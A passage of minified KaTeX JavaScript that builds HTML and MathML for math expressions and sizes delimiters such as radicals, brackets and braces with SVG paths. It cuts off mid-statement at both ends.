s=(r.height+r.depth+l+n)*t.sizeMultiplier;var f=h.default.customSizedDelim("\\surd",s,false,t,e.mode);var v=t.fontMetrics().sqrtRuleThickness*f.sizeMultiplier;var p=f.height-v;if(p>r.height+r.depth+l){l=(l+p-r.height-r.depth)/2}var m=f.height-r.height-l-v;var g=void 0;if(r.height===0&&r.depth===0){g=(0,u.makeSpan)()}else{r.style.paddingLeft=f.surdWidth+"em";g=c.default.makeVList([{type:"elem",elem:r},{type:"kern",size:-(r.height+m)},{type:"elem",elem:f},{type:"kern",size:v}],"firstBaseline",null,t);g.children[0].children[0].classes.push("svg-align")}if(!e.value.index){return(0,u.makeSpan)(["mord","sqrt"],[g],t)}else{var y=t.havingStyle(o.default.SCRIPTSCRIPT);var x=L(e.value.index,y,t);var w=.6*(g.height-g.depth);var b=c.default.makeVList([{type:"elem",elem:x}],"shift",-w,t);var k=(0,u.makeSpan)(["root"],[b]);return(0,u.makeSpan)(["mord","sqrt"],[k,g],t)}};function O(e,t,r){var a=C(e,t,false);var n=t.sizeMultiplier/r.sizeMultiplier;for(var i=0;i<a.length;i++){var l=y.default.indexOf(a[i].classes,"sizing");if(l<0){Array.prototype.push.apply(a[i].classes,t.sizingClasses(r))}else if(a[i].classes[l+1]==="reset-size"+t.size){a[i].classes[l+1]="reset-size"+r.size}a[i].height*=n;a[i].depth*=n}return c.default.makeFragment(a)}E.sizing=function(e,t){var r=t.havingSize(e.value.size);return O(e.value.value,r,t)};E.styling=function(e,t){var r={display:o.default.DISPLAY,text:o.default.TEXT,script:o.default.SCRIPT,scriptscript:o.default.SCRIPTSCRIPT};var a=r[e.value.style];var n=t.havingStyle(a);return O(e.value.value,n,t)};E.font=function(e,t){var r=e.value.font;return L(e.value.body,t.withFont(r))};E.delimsizing=function(e,t){var r=e.value.value;if(r==="."){return(0,u.makeSpan)([e.value.mclass])}return h.default.sizedDelim(r,e.value.size,t,e.mode,[e.value.mclass])};E.leftright=function(e,t){var r=C(e.value.body,t,true);var a=0;var n=0;var i=false;for(var l=0;l<r.length;l++){if(r[l].isMiddle){i=true}else{a=Math.max(r[l].height,a);n=Math.max(r[l].depth,n)}}a*=t.sizeMultiplier;n*=t.sizeMultiplier;var s=void 0;if(e.value.left==="."){s=_(t,["mopen"])}else{s=h.default.leftRightDelim(e.value.left,a,n,t,e.mode,["mopen"])}r.unshift(s);if(i){for(var o=1;o<r.length;o++){var f=r[o];if(f.isMiddle){r[o]=h.default.leftRightDelim(f.isMiddle.value,a,n,f.isMiddle.options,e.mode,[]);var v=A(f.children,0);if(v){c.default.prependChildren(r[o],v)}}}}var d=void 0;if(e.value.right==="."){d=_(t,["mclose"])}else{d=h.default.leftRightDelim(e.value.right,a,n,t,e.mode,["mclose"])}r.push(d);return(0,u.makeSpan)(["minner"],r,t)};E.middle=function(e,t){var r=void 0;if(e.value.value==="."){r=_(t,[])}else{r=h.default.sizedDelim(e.value.value,1,t,e.mode,[]);r.isMiddle={value:e.value.value,options:t}}return r};E.rule=function(e,t){var r=(0,u.makeSpan)(["mord","rule"],[],t);var a=0;if(e.value.shift){a=m.default.calculateSize(e.value.shift,t)}var n=m.default.calculateSize(e.value.width,t);var i=m.default.calculateSize(e.value.height,t);r.style.borderRightWidth=n+"em";r.style.borderTopWidth=i+"em";r.style.bottom=a+"em";r.width=n;r.height=i+a;r.depth=-a;r.maxFontSize=i*1.125*t.sizeMultiplier;return r};E.kern=function(e,t){var r=(0,u.makeSpan)(["mord","rule"],[],t);if(e.value.dimension){var a=m.default.calculateSize(e.value.dimension,t);r.style.marginLeft=a+"em"}return r};E.accent=function(e,t){var r=e.value.base;var a=void 0;if(e.type==="supsub"){var n=e;e=n.value.base;r=e.value.base;n.value.base=r;a=L(n,t)}var i=L(r,t.havingCrampedStyle());var l=e.value.isShifty&&q(r);var s=0;if(l){var o=R(r);var f=L(o,t.havingCrampedStyle());s=f.skew}var h=Math.min(i.height,t.fontMetrics().xHeight);var v=void 0;if(!e.value.isStretchy){var d=c.default.makeSymbol(e.value.label,"Main-Regular",e.mode,t);d.italic=0;var p=null;if(e.value.label==="\\vec"){p="accent-vec"}else if(e.value.label==="\\H"){p="accent-hungarian"}v=(0,u.makeSpan)([],[d]);v=(0,u.makeSpan)(["accent-body",p],[v]);v.style.marginLeft=2*s+"em";v=c.default.makeVList([{type:"elem",elem:i},{type:"kern",size:-h},{type:"elem",elem:v}],"firstBaseline",null,t)}else{v=w.default.svgSpan(e,t);v=c.default.makeVList([{type:"elem",elem:i},{type:"elem",elem:v}],"firstBaseline",null,t);var m=v.children[0].children[0].children[1];m.classes.push("svg-align");if(s>0){m.style.width="calc(100% - "+2*s+"em)";m.style.marginLeft=2*s+"em"}}var g=(0,u.makeSpan)(["mord","accent"],[v],t);if(a){a.children[0]=g;a.height=Math.max(g.height,a.height);a.classes[0]="mord";return a}else{return g}};E.horizBrace=function(e,t){var r=t.style;var a=e.type==="supsub";var n=void 0;var i=void 0;if(a){if(e.value.sup){i=t.havingStyle(r.sup());n=L(e.value.sup,i,t)}else{i=t.havingStyle(r.sub());n=L(e.value.sub,i,t)}e=e.value.base}var l=L(e.value.base,t.havingBaseStyle(o.default.DISPLAY));var s=w.default.svgSpan(e,t);var f=void 0;if(e.value.isOver){f=c.default.makeVList([{type:"elem",elem:l},{type:"kern",size:.1},{type:"elem",elem:s}],"firstBaseline",null,t);f.children[0].children[0].children[1].classes.push("svg-align")}else{f=c.default.makeVList([{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:l}],"bottom",l.depth+.1+s.height,t);f.children[0].children[0].children[0].classes.push("svg-align")}if(a){var h=(0,u.makeSpan)(["mord",e.value.isOver?"mover":"munder"],[f],t);if(e.value.isOver){f=c.default.makeVList([{type:"elem",elem:h},{type:"kern",size:.2},{type:"elem",elem:n}],"firstBaseline",null,t)}else{f=c.default.makeVList([{type:"elem",elem:n},{type:"kern",size:.2},{type:"elem",elem:h}],"bottom",h.depth+.2+n.height,t)}}return(0,u.makeSpan)(["mord",e.value.isOver?"mover":"munder"],[f],t)};E.accentUnder=function(e,t){var r=L(e.value.body,t);var a=w.default.svgSpan(e,t);var n=/tilde/.test(e.value.label)?.12:0;var i=c.default.makeVList([{type:"elem",elem:a},{type:"kern",size:n},{type:"elem",elem:r}],"bottom",a.height+n,t);i.children[0].children[0].children[0].classes.push("svg-align");return(0,u.makeSpan)(["mord","accentunder"],[i],t)};E.enclose=function(e,t){var r=L(e.value.body,t);var a=e.value.label.substr(1);var n=t.sizeMultiplier;var i=void 0;var l=0;var s=0;if(a==="sout"){i=(0,u.makeSpan)(["stretchy","sout"]);i.height=t.fontMetrics().defaultRuleThickness/n;s=-.5*t.fontMetrics().xHeight}else{r.classes.push(a==="fbox"?"boxpad":"cancel-pad");var o=q(e.value.body);l=a==="fbox"?.34:o?.2:0;s=r.depth+l;i=w.default.encloseSpan(r,a,l,t)}var f=c.default.makeVList([{type:"elem",elem:r,shift:0},{type:"elem",elem:i,shift:s}],"individualShift",null,t);if(a!=="fbox"){f.children[0].children[0].children[1].classes.push("svg-align")}if(/cancel/.test(a)){return(0,u.makeSpan)(["mord","cancel-lap"],[f],t)}else{return(0,u.makeSpan)(["mord"],[f],t)}};E.xArrow=function(e,t){var r=t.style;var a=t.havingStyle(r.sup());var n=L(e.value.body,a,t);n.classes.push("x-arrow-pad");var i=void 0;if(e.value.below){a=t.havingStyle(r.sub());i=L(e.value.below,a,t);i.classes.push("x-arrow-pad")}var l=w.default.svgSpan(e,t);var s=-t.fontMetrics().axisHeight+l.depth;var o=-t.fontMetrics().axisHeight-l.height-.111;var f=void 0;if(e.value.below){var h=-t.fontMetrics().axisHeight+i.height+l.height+.111;f=c.default.makeVList([{type:"elem",elem:n,shift:o},{type:"elem",elem:l,shift:s},{type:"elem",elem:i,shift:h}],"individualShift",null,t)}else{f=c.default.makeVList([{type:"elem",elem:n,shift:o},{type:"elem",elem:l,shift:s}],"individualShift",null,t)}f.children[0].children[0].children[1].classes.push("svg-align");return(0,u.makeSpan)(["mrel","x-arrow"],[f],t)};E.phantom=function(e,t){var r=C(e.value.value,t.withPhantom(),false);return new c.default.makeFragment(r)};E.mclass=function(e,t){var r=C(e.value.value,t,true);return(0,u.makeSpan)([e.value.mclass],r,t)};var L=function e(t,r,a){if(!t){return(0,u.makeSpan)()}if(E[t.type]){var n=E[t.type](t,r);if(a&&r.size!==a.size){n=(0,u.makeSpan)(r.sizingClasses(a),[n],r);var i=r.sizeMultiplier/a.sizeMultiplier;n.height*=i;n.depth*=i}return n}else{throw new l.default("Got group of unknown type: '"+t.type+"'")}};var P=function e(t,r){t=JSON.parse((0,n.default)(t));var a=C(t,r,true);var i=(0,u.makeSpan)(["base"],a,r);var l=(0,u.makeSpan)(["strut"]);var s=(0,u.makeSpan)(["strut","bottom"]);l.style.height=i.height+"em";s.style.height=i.height+i.depth+"em";s.style.verticalAlign=-i.depth+"em";var o=(0,u.makeSpan)(["katex-html"],[l,s,i]);o.setAttribute("aria-hidden","true");return o};t.exports=P},{"./ParseError":29,"./Style":33,"./buildCommon":34,"./delimiter":38,"./domTree":39,"./stretchy":47,"./units":50,"./utils":51,"babel-runtime/core-js/json/stringify":2}],36:[function(e,t,r){"use strict";var a=e("./buildCommon");var n=x(a);var i=e("./fontMetrics");var l=x(i);var s=e("./mathMLTree");var o=x(s);var u=e("./ParseError");var c=x(u);var f=e("./Style");var h=x(f);var v=e("./symbols");var d=x(v);var p=e("./utils");var m=x(p);var g=e("./stretchy");var y=x(g);function x(e){return e&&e.__esModule?e:{default:e}}var w=function e(t,r){if(d.default[r][t]&&d.default[r][t].replace){t=d.default[r][t].replace}return new o.default.TextNode(t)};var b=function e(t,r){var n=r.font;if(!n){return null}var i=t.mode;if(n==="mathit"){return"italic"}var s=t.value;if(m.default.contains(["\\imath","\\jmath"],s)){return null}if(d.default[i][s]&&d.default[i][s].replace){s=d.default[i][s].replace}var o=a.fontMap[n].fontName;if(l.default.getCharacterMetrics(s,o)){return a.fontMap[r.font].variant}return null};var k={};var M={mi:"italic",mn:"normal",mtext:"normal"};k.mathord=function(e,t){var r=new o.default.MathNode("mi",[w(e.value,e.mode)]);var a=b(e,t)||"italic";if(a!==M[r.type]){r.setAttribute("mathvariant",a)}return r};k.textord=function(e,t){var r=w(e.value,e.mode);var a=b(e,t)||"normal";var n=void 0;if(e.mode==="text"){n=new o.default.MathNode("mtext",[r])}else if(/[0-9]/.test(e.value)){n=new o.default.MathNode("mn",[r])}else if(e.value==="\\prime"){n=new o.default.MathNode("mo",[r])}else{n=new o.default.MathNode("mi",[r])}if(a!==M[n.type]){n.setAttribute("mathvariant",a)}return n};k.bin=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);return t};k.rel=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);return t};k.open=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);return t};k.close=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);return t};k.inner=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);return t};k.punct=function(e){var t=new o.default.MathNode("mo",[w(e.value,e.mode)]);t.setAttribute("separator","true");return t};k.ordgroup=function(e,t){var r=z(e.value,t);var a=new o.default.MathNode("mrow",r);return a};k.text=function(e,t){var r=e.value.body;var a=[];var n=null;for(var i=0;i<r.length;i++){var l=S(r[i],t);if(l.type==="mtext"&&n!=null){Array.prototype.push.apply(n.children,l.children)}else{a.push(l);if(l.type==="mtext"){n=l}}}if(a.length===1){return a[0]}else{return new o.default.MathNode("mrow",a)}};k.color=function(e,t){var r=z(e.value.value,t);var a=new o.default.MathNode("mstyle",r);a.setAttribute("mathcolor",e.value.color);return a};k.supsub=function(e,t){var r=false;var a=void 0;var n=void 0;if(e.value.base){if(e.value.base.value.type==="horizBrace"){n=e.value.sup?true:false;if(n===e.value.base.value.isOver){r=true;a=e.value.base.value.isOver}}}var i=true;var l=[S(e.value.base,t,i)];if(e.value.sub){l.push(S(e.value.sub,t,i))}if(e.value.sup){l.push(S(e.value.sup,t,i))}var s=void 0;if(r){s=a?"mover":"munder"}else if(!e.value.sub){s="msup"}else if(!e.value.sup){s="msub"}else{var u=e.value.base;if(u&&u.value.limits&&t.style===h.default.DISPLAY){s="munderover"}else{s="msubsup"}}var c=new o.default.MathNode(s,l);return c};k.genfrac=function(e,t){var r=new o.default.MathNode("mfrac",[S(e.value.numer,t),S(e.value.denom,t)]);if(!e.value.hasBarLine){r.setAttribute("linethickness","0px")}if(e.value.leftDelim!=null||e.value.rightDelim!=null){var a=[];if(e.value.leftDelim!=null){var n=new o.default.MathNode("mo",[new o.default.TextNode(e.value.leftDelim)]);n.setAttribute("fence","true");a.push(n)}a.push(r);if(e.value.rightDelim!=null){var i=new o.default.MathNode("mo",[new o.default.TextNode(e.value.rightDelim)]);i.setAttribute("fence","true");a.push(i)}var l=new o.default.MathNode("mrow",a);return l}return r};k.array=function(e,t){return new o.default.MathNode("mtable",e.value.body.map(function(e){return new o.default.MathNode("mtr",e.map(function(e){return new o.default.MathNode("mtd",[S(e,t)])}))}))};k.sqrt=function(e,t){var r=void 0;if(e.value.index){r=new o.default.MathNode("mroot",[S(e.value.body,t),S(e.value.index,t)])}else{r=new o.default.MathNode("msqrt",[S(e.value.body,t)])}return r};k.leftright=function(e,t){var r=z(e.value.body,t);if(e.value.left!=="."){var a=new o.default.MathNode("mo",[w(e.value.left,e.mode)]);a.setAttribute("fence","true");r.unshift(a)}if(e.value.right!=="."){var n=new o.default.MathNode("mo",[w(e.value.right,e.mode)]);n.setAttribute("fence","true");r.push(n)}var i=new o.default.MathNode("mrow",r);return i};k.middle=function(e,t){var r=new o.default.MathNode("mo",[w(e.value.middle,e.mode)]);r.setAttribute("fence","true");return r};k.accent=function(e,t){var r=void 0;if(e.value.isStretchy){r=y.default.mathMLnode(e.value.label)}else{r=new o.default.MathNode("mo",[w(e.value.label,e.mode)])}var a=new o.default.MathNode("mover",[S(e.value.base,t),r]);a.setAttribute("accent","true");return a};k.spacing=function(e){var t=void 0;if(e.value==="\\ "||e.value==="\\space"||e.value===" "||e.value==="~"){t=new o.default.MathNode("mtext",[new o.default.TextNode("\xa0")])}else{t=new o.default.MathNode("mspace");t.setAttribute("width",n.default.spacingFunctions[e.value].size)}return t};k.op=function(e,t){var r=void 0;if(e.value.symbol){r=new o.default.MathNode("mo",[w(e.value.body,e.mode)])}else if(e.value.value){r=new o.default.MathNode("mo",z(e.value.value,t))}else{r=new o.default.MathNode("mi",[new o.default.TextNode(e.value.body.slice(1))])}return r};k.mod=function(e,t){var r=[];if(e.value.modType==="pod"||e.value.modType==="pmod"){r.push(new o.default.MathNode("mo",[w("(",e.mode)]))}if(e.value.modType!=="pod"){r.push(new o.default.MathNode("mo",[w("mod",e.mode)]))}if(e.value.value){var a=new o.default.MathNode("mspace");a.setAttribute("width","0.333333em");r.push(a);r=r.concat(z(e.value.value,t))}if(e.value.modType==="pod"||e.value.modType==="pmod"){r.push(new o.default.MathNode("mo",[w(")",e.mode)])); }return new o.default.MathNode("mo",r)};k.katex=function(e){var t=new o.default.MathNode("mtext",[new o.default.TextNode("KaTeX")]);return t};k.font=function(e,t){var r=e.value.font;return S(e.value.body,t.withFont(r))};k.delimsizing=function(e){var t=[];if(e.value.value!=="."){t.push(w(e.value.value,e.mode))}var r=new o.default.MathNode("mo",t);if(e.value.mclass==="mopen"||e.value.mclass==="mclose"){r.setAttribute("fence","true")}else{r.setAttribute("fence","false")}return r};k.styling=function(e,t){var r={display:h.default.DISPLAY,text:h.default.TEXT,script:h.default.SCRIPT,scriptscript:h.default.SCRIPTSCRIPT};var a=r[e.value.style];var n=t.havingStyle(a);var i=z(e.value.value,n);var l=new o.default.MathNode("mstyle",i);var s={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]};var u=s[e.value.style];l.setAttribute("scriptlevel",u[0]);l.setAttribute("displaystyle",u[1]);return l};k.sizing=function(e,t){var r=t.havingSize(e.value.size);var a=z(e.value.value,r);var n=new o.default.MathNode("mstyle",a);n.setAttribute("mathsize",r.sizeMultiplier+"em");return n};k.overline=function(e,t){var r=new o.default.MathNode("mo",[new o.default.TextNode("\u203e")]);r.setAttribute("stretchy","true");var a=new o.default.MathNode("mover",[S(e.value.body,t),r]);a.setAttribute("accent","true");return a};k.underline=function(e,t){var r=new o.default.MathNode("mo",[new o.default.TextNode("\u203e")]);r.setAttribute("stretchy","true");var a=new o.default.MathNode("munder",[S(e.value.body,t),r]);a.setAttribute("accentunder","true");return a};k.accentUnder=function(e,t){var r=y.default.mathMLnode(e.value.label);var a=new o.default.MathNode("munder",[S(e.value.body,t),r]);a.setAttribute("accentunder","true");return a};k.enclose=function(e,t){var r=new o.default.MathNode("menclose",[S(e.value.body,t)]);var a="";switch(e.value.label){case"\\bcancel":a="downdiagonalstrike";break;case"\\sout":a="horizontalstrike";break;case"\\fbox":a="box";break;default:a="updiagonalstrike"}r.setAttribute("notation",a);return r};k.horizBrace=function(e,t){var r=y.default.mathMLnode(e.value.label);return new o.default.MathNode(e.value.isOver?"mover":"munder",[S(e.value.base,t),r])};k.xArrow=function(e,t){var r=y.default.mathMLnode(e.value.label);var a=void 0;var n=void 0;if(e.value.body){var i=S(e.value.body,t);if(e.value.below){n=S(e.value.below,t);a=new o.default.MathNode("munderover",[r,n,i])}else{a=new o.default.MathNode("mover",[r,i])}}else if(e.value.below){n=S(e.value.below,t);a=new o.default.MathNode("munder",[r,n])}else{a=new o.default.MathNode("mover",[r])}return a};k.rule=function(e){var t=new o.default.MathNode("mrow");return t};k.kern=function(e){var t=new o.default.MathNode("mrow");return t};k.llap=function(e,t){var r=new o.default.MathNode("mpadded",[S(e.value.body,t)]);r.setAttribute("lspace","-1width");r.setAttribute("width","0px");return r};k.rlap=function(e,t){var r=new o.default.MathNode("mpadded",[S(e.value.body,t)]);r.setAttribute("width","0px");return r};k.phantom=function(e,t){var r=z(e.value.value,t);return new o.default.MathNode("mphantom",r)};k.mclass=function(e,t){var r=z(e.value.value,t);return new o.default.MathNode("mstyle",r)};var z=function e(t,r){var a=[];for(var n=0;n<t.length;n++){var i=t[n];a.push(S(i,r))}return a};var S=function e(t,r){var a=arguments.length>2&&arguments[2]!==undefined?arguments[2]:false;if(!t){return new o.default.MathNode("mrow")}if(k[t.type]){var n=k[t.type](t,r);if(a){if(n.type==="mrow"&&n.children.length===1){return n.children[0]}}return n}else{throw new c.default("Got group of unknown type: '"+t.type+"'")}};var A=function e(t,r,n){var i=z(t,n);var l=new o.default.MathNode("mrow",i);var s=new o.default.MathNode("annotation",[new o.default.TextNode(r)]);s.setAttribute("encoding","application/x-tex");var u=new o.default.MathNode("semantics",[l,s]);var c=new o.default.MathNode("math",[u]);return(0,a.makeSpan)(["katex-mathml"],[c])};t.exports=A},{"./ParseError":29,"./Style":33,"./buildCommon":34,"./fontMetrics":41,"./mathMLTree":45,"./stretchy":47,"./symbols":48,"./utils":51}],37:[function(e,t,r){"use strict";var a=e("./buildHTML");var n=d(a);var i=e("./buildMathML");var l=d(i);var s=e("./buildCommon");var o=e("./Options");var u=d(o);var c=e("./Settings");var f=d(c);var h=e("./Style");var v=d(h);function d(e){return e&&e.__esModule?e:{default:e}}var p=function e(t,r,a){a=a||new f.default({});var i=v.default.TEXT;if(a.displayMode){i=v.default.DISPLAY}var o=new u.default({style:i});var c=(0,l.default)(t,r,o);var h=(0,n.default)(t,o);var d=(0,s.makeSpan)(["katex"],[c,h]);if(a.displayMode){return(0,s.makeSpan)(["katex-display"],[d])}else{return d}};t.exports=p},{"./Options":28,"./Settings":32,"./Style":33,"./buildCommon":34,"./buildHTML":35,"./buildMathML":36}],38:[function(e,t,r){"use strict";var a=e("./ParseError");var n=p(a);var i=e("./Style");var l=p(i);var s=e("./buildCommon");var o=p(s);var u=e("./fontMetrics");var c=p(u);var f=e("./symbols");var h=p(f);var v=e("./utils");var d=p(v);function p(e){return e&&e.__esModule?e:{default:e}}var m=function e(t,r){if(h.default.math[t]&&h.default.math[t].replace){return c.default.getCharacterMetrics(h.default.math[t].replace,r)}else{return c.default.getCharacterMetrics(t,r)}};var g=function e(t,r,a,n){var i=a.havingBaseStyle(r);var l=(0,s.makeSpan)((n||[]).concat(i.sizingClasses(a)),[t],a);l.delimSizeMultiplier=i.sizeMultiplier/a.sizeMultiplier;l.height*=l.delimSizeMultiplier;l.depth*=l.delimSizeMultiplier;l.maxFontSize=i.sizeMultiplier;return l};var y=function e(t,r,a){var n=r.havingBaseStyle(a);var i=(1-r.sizeMultiplier/n.sizeMultiplier)*r.fontMetrics().axisHeight;t.classes.push("delimcenter");t.style.top=i+"em";t.height-=i;t.depth+=i};var x=function e(t,r,a,n,i,l){var s=o.default.makeSymbol(t,"Main-Regular",i,n);var u=g(s,r,n,l);if(a){y(u,n,r)}return u};var w=function e(t,r,a,n){return o.default.makeSymbol(t,"Size"+r+"-Regular",a,n)};var b=function e(t,r,a,n,i,o){var u=w(t,r,i,n);var c=g((0,s.makeSpan)(["delimsizing","size"+r],[u],n),l.default.TEXT,n,o);if(a){y(c,n,l.default.TEXT)}return c};var k=function e(t,r,a){var n=void 0;if(r==="Size1-Regular"){n="delim-size1"}else if(r==="Size4-Regular"){n="delim-size4"}var i=(0,s.makeSpan)(["delimsizinginner",n],[(0,s.makeSpan)([],[o.default.makeSymbol(t,r,a)])]);return{type:"elem",elem:i}};var M=function e(t,r,a,n,i,u){var c=void 0;var f=void 0;var h=void 0;var v=void 0;c=h=v=t;f=null;var d="Size1-Regular";if(t==="\\uparrow"){h=v="\u23d0"}else if(t==="\\Uparrow"){h=v="\u2016"}else if(t==="\\downarrow"){c=h="\u23d0"}else if(t==="\\Downarrow"){c=h="\u2016"}else if(t==="\\updownarrow"){c="\\uparrow";h="\u23d0";v="\\downarrow"}else if(t==="\\Updownarrow"){c="\\Uparrow";h="\u2016";v="\\Downarrow"}else if(t==="["||t==="\\lbrack"){c="\u23a1";h="\u23a2";v="\u23a3";d="Size4-Regular"}else if(t==="]"||t==="\\rbrack"){c="\u23a4";h="\u23a5";v="\u23a6";d="Size4-Regular"}else if(t==="\\lfloor"){h=c="\u23a2";v="\u23a3";d="Size4-Regular"}else if(t==="\\lceil"){c="\u23a1";h=v="\u23a2";d="Size4-Regular"}else if(t==="\\rfloor"){h=c="\u23a5";v="\u23a6";d="Size4-Regular"}else if(t==="\\rceil"){c="\u23a4";h=v="\u23a5";d="Size4-Regular"}else if(t==="("){c="\u239b";h="\u239c";v="\u239d";d="Size4-Regular"}else if(t===")"){c="\u239e";h="\u239f";v="\u23a0";d="Size4-Regular"}else if(t==="\\{"||t==="\\lbrace"){c="\u23a7";f="\u23a8";v="\u23a9";h="\u23aa";d="Size4-Regular"}else if(t==="\\}"||t==="\\rbrace"){c="\u23ab";f="\u23ac";v="\u23ad";h="\u23aa";d="Size4-Regular"}else if(t==="\\lgroup"){c="\u23a7";v="\u23a9";h="\u23aa";d="Size4-Regular"}else if(t==="\\rgroup"){c="\u23ab";v="\u23ad";h="\u23aa";d="Size4-Regular"}else if(t==="\\lmoustache"){c="\u23a7";v="\u23ad";h="\u23aa";d="Size4-Regular"}else if(t==="\\rmoustache"){c="\u23ab";v="\u23a9";h="\u23aa";d="Size4-Regular"}var p=m(c,d);var y=p.height+p.depth;var x=m(h,d);var w=x.height+x.depth;var b=m(v,d);var M=b.height+b.depth;var z=0;var S=1;if(f!==null){var A=m(f,d);z=A.height+A.depth;S=2}var C=y+M+z;var T=Math.ceil((r-C)/(S*w));var N=C+T*S*w;var R=n.fontMetrics().axisHeight;if(a){R*=n.sizeMultiplier}var q=N/2-R;var _=[];_.push(k(v,d,i));if(f===null){for(var E=0;E<T;E++){_.push(k(h,d,i))}}else{for(var B=0;B<T;B++){_.push(k(h,d,i))}_.push(k(f,d,i));for(var O=0;O<T;O++){_.push(k(h,d,i))}}_.push(k(c,d,i));var L=n.havingBaseStyle(l.default.TEXT);var P=o.default.makeVList(_,"bottom",q,L);return g((0,s.makeSpan)(["delimsizing","mult"],[P],L),l.default.TEXT,n,u)};var z={main:"<svg viewBox='0 0 400000 1000' preserveAspectRatio='xMinYMin\nslice'><path d='M95 622c-2.667 0-7.167-2.667-13.5\n-8S72 604 72 600c0-2 .333-3.333 1-4 1.333-2.667 23.833-20.667 67.5-54s\n65.833-50.333 66.5-51c1.333-1.333 3-2 5-2 4.667 0 8.667 3.333 12 10l173\n378c.667 0 35.333-71 104-213s137.5-285 206.5-429S812 17.333 812 14c5.333\n-9.333 12-14 20-14h399166v40H845.272L620 507 385 993c-2.667 4.667-9 7-19\n7-6 0-10-1-12-3L160 575l-65 47zM834 0h399166v40H845z'/></svg>",1:"<svg viewBox='0 0 400000 1200' preserveAspectRatio='xMinYMin\nslice'><path d='M263 601c.667 0 18 39.667 52 119s68.167\n 158.667 102.5 238 51.833 119.333 52.5 120C810 373.333 980.667 17.667 982 11\nc4.667-7.333 11-11 19-11h398999v40H1012.333L741 607c-38.667 80.667-84 175-136\n 283s-89.167 185.333-111.5 232-33.833 70.333-34.5 71c-4.667 4.667-12.333 7-23\n 7l-12-1-109-253c-72.667-168-109.333-252-110-252-10.667 8-22 16.667-34 26-22\n 17.333-33.333 26-34 26l-26-26 76-59 76-60zM1001 0h398999v40H1012z'/></svg>",2:"<svg viewBox='0 0 400000 1800' preserveAspectRatio='xMinYMin\nslice'><path d='M1001 0h398999v40H1013.084S929.667 308 749\n 880s-277 876.333-289 913c-4.667 4.667-12.667 7-24 7h-12c-1.333-3.333-3.667\n-11.667-7-25-35.333-125.333-106.667-373.333-214-744-10 12-21 25-33 39l-32 39\nc-6-5.333-15-14-27-26l25-30c26.667-32.667 52-63 76-91l52-60 208 722c56-175.333\n 126.333-397.333 211-666s153.833-488.167 207.5-658.5C944.167 129.167 975 32.667\n 983 10c4-6.667 10-10 18-10zm0 0h398999v40H1013z'/></svg>",3:"<svg viewBox='0 0 400000 2400' preserveAspectRatio='xMinYMin\nslice'><path d='M424 2398c-1.333-.667-38.5-172-111.5-514\nS202.667 1370.667 202 1370c0-2-10.667 14.333-32 49-4.667 7.333-9.833 15.667\n-15.5 25s-9.833 16-12.5 20l-5 7c-4-3.333-8.333-7.667-13-13l-13-13 76-122 77-121\n 209 968c0-2 84.667-361.667 254-1079C896.333 373.667 981.667 13.333 983 10\nc4-6.667 10-10 18-10h398999v40H1014.622S927.332 418.667 742 1206c-185.333\n 787.333-279.333 1182.333-282 1185-2 6-10 9-24 9-8 0-12-.667-12-2z\nM1001 0h398999v40H1014z'/></svg>",4:"<svg viewBox='0 0 400000 3000' preserveAspectRatio='xMinYMin\nslice'><path d='M473 2713C812.333 913.667 982.333 13 983 11\nc3.333-7.333 9.333-11 18-11h399110v40H1017.698S927.168 518 741.5 1506C555.833\n 2494 462 2989 460 2991c-2 6-10 9-24 9-8 0-12-.667-12-2s-5.333-32-16-92c-50.667\n-293.333-119.667-693.333-207-1200 0-1.333-5.333 8.667-16 30l-32 64-16 33-26-26\n 76-153 77-151c.667.667 35.667 202 105 604 67.333 400.667 102 602.667 104 606z\nM1001 0h398999v40H1017z'/></svg>",tall:"l-4 4-4 4c-.667.667-2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1h\n-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170c-4-3.333-8.333\n-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667 219 661 l218 661z\nM702 0H400000v40H742z'/></svg>"};var S=function e(t,r,a){var n=o.default.makeSpan([],[],a);var i=a.sizeMultiplier;if(r.type==="small"){var l=a.havingBaseStyle(r.style);i=l.sizeMultiplier/a.sizeMultiplier;n.height=1*i;n.style.height=n.height+"em";n.surdWidth=.833*i;n.innerHTML="<svg width='100%' height='"+n.height+"em'>\n "+z["main"]+"</svg>"}else if(r.type==="large"){n.height=N[r.size]/i;n.style.height=n.height+"em";n.surdWidth=1/i;n.innerHTML='<svg width="100%" height="'+n.height+'em">\n '+z[r.size]+"</svg>"}else{n.height=t/i;n.style.height=n.height+"em";n.surdWidth=1.056/i;var s=Math.floor(n.height*1e3);var u=s-54;n.innerHTML="<svg width='100%' height='"+n.height+"em'>\n <svg viewBox='0 0 400000 "+s+"'\n preserveAspectRatio='xMinYMax slice'>\n <path d='M702 0H400000v40H742v"+u+"\n "+z["tall"]+"</svg>"}n.sizeMultiplier=i;return n};var A=["(",")","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\\lceil","\\rceil","\\surd"];var C=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\\lmoustache","\\rmoustache"];var T=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"];var N=[0,1.2,1.8,2.4,3];var R=function e(t,r,a,i,l){if(t==="<"||t==="\\lt"){t="\\langle"}else if(t===">"||t==="\\gt"){t="\\rangle"}if(d.default.contains(A,t)||d.default.contains(T,t)){return b(t,r,false,a,i,l)}else if(d.default.contains(C,t)){return M(t,N[r],false,a,i,l)}else{throw new n.default("Illegal delimiter: '"+t+"'")}};var q=[{type:"small",style:l.default.SCRIPTSCRIPT},{type:"small",style:l.default.SCRIPT},{type:"small",style:l.default.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}];var _=[{type:"small",style:l.default.SCRIPTSCRIPT},{type:"small",style:l.default.SCRIPT},{type:"small",style:l.default.TEXT},{type:"stack"}];var 